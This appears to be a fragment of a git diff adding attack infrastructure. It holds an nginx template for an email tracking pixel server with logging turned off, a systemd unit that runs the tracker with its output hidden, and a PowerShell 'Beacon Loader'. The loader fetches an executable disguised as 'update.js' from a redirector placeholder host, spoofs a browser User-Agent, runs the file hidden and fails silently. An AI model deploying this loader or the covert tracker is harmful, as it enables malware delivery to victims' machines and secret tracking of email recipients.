ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
# Proxy to tracker app
location / {
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Specific location for tracking pixel
location ~ ^/pixel/(.+)\.png$ {
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Cache control - don't cache tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
expires off;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
{% if zero_logs | default(true) %}
# Disable logging for privacy
access_log off;
error_log /dev/null crit;
{% endif %}
}
+23
View File
@@ -0,0 +1,23 @@
[Unit]
Description=Email Tracking Server
After=network.target
[Service]
User=tracker
Group=tracker
WorkingDirectory=/root/Tools/tracker
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
Restart=always
RestartSec=10
# Security settings
PrivateTmp=true
ProtectSystem=full
NoNewPrivileges=true
# Hide process information
StandardOutput=null
StandardError=journal
[Install]
WantedBy=multi-user.target
+16
View File
@@ -0,0 +1,16 @@
# Windows PowerShell Beacon Loader
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
$ErrorActionPreference = "SilentlyContinue"
$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
$outpath = "$env:TEMP\update-$(New-Guid).exe"
try {
$wc.DownloadFile($url, $outpath)
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
Start-Process -WindowStyle Hidden -FilePath $outpath
} catch {
# Fail silently
}